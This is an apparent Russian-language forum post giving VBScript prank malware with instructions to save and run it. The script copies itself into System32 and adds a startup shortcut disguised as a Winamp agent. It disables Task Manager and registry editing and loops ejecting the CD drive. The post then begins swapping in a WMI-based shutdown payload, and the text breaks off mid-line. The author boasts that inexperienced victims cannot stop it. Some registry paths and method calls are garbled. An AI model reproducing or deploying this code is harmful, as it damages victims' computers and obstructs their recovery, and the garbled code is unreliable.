Set fso = CreateObject ("Scripting.FileSystemObject")
Set File = fso.GetFile(WScript.ScriptFullName)
File.Copy ("c:\winxp\System32\Script.vbs")
Set Shell = WScript.CreateObject("WScript.Shell")
StartupPath = Shell.SpecialFolders("Startup")
Set MyShortcut = Shell.CreateShortcut(StartupPath & _
"\Winamp Agent.lnk")
MyShortcut.TargetPath = Shell.ExpandEnvironmentStrings("c:\winxp\System32\ Script.vbs")
MyShortcut.IconLocation = Shell.ExpandEnvironmentStrings("C:\Program Files\Winamp\winamp.exe")
MyShortcut.Save
fso.RegWrite "HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\WINDOWS\ CURR ENTVERSION\POLICIES\SYSTEM\DisableRegistryTools", 1, "REG_DWORD"
fso.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\ Curr entVersion\Policies\System\DisableTaskMgr", 1, "REG_DWORD"
fso.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\ Curr entVersion\Policies\Explоrer\Close", 1, "REG_DWORD"
Set WMPlayer = CreateObject("WMPlayer.OCX.7")
do
WMPlayer.CdRomCollection.Item(0).Eject()
WScript.Sleep(200)
WMPlayer.CdRomCollection.Item(0).Eject()
loop
напишите это в блокноте.
сохраните с расширением vbs.
впишется в автозагрузку.
будет каждые несколько секунд открывать и закрывать сидюк.
диспетчер задач отключается.так что процесс остановить невозможно.
реестр тоже отключается.точнее возможностьь редактирования реестра.и з автозагрузки не удалить.
профи конечно все исправит.
но не очень опытный будет долго сидеть ломать голову как сначала включить реестр,а потом и диспетчер задач.
циклы хорошая вещь.
можно редактировать.
Set WMPlayer = CreateObject("WMPlayer.OCX.7")
do
WMPlayer.CdRomCollection.Item(0).Eject()
WScript.Sleep(200)
WMPlayer.CdRomCollection.Item(0).Eject()
loop
это убрать и добавить
Set FileSystemObject = CreateObject("scripting.filesystemobject")
Set fso = CreateObject("Wscript.Shell")
on error resume next
strComputer = "."
Set objWMIService = GetObject("winmgmts:"& "{impersonationLevel=impersonate,(Shutdown)}!\ \" & strComputer & "\root\cimv2")
Set colOperatingSystems = objWMIService.ExecQu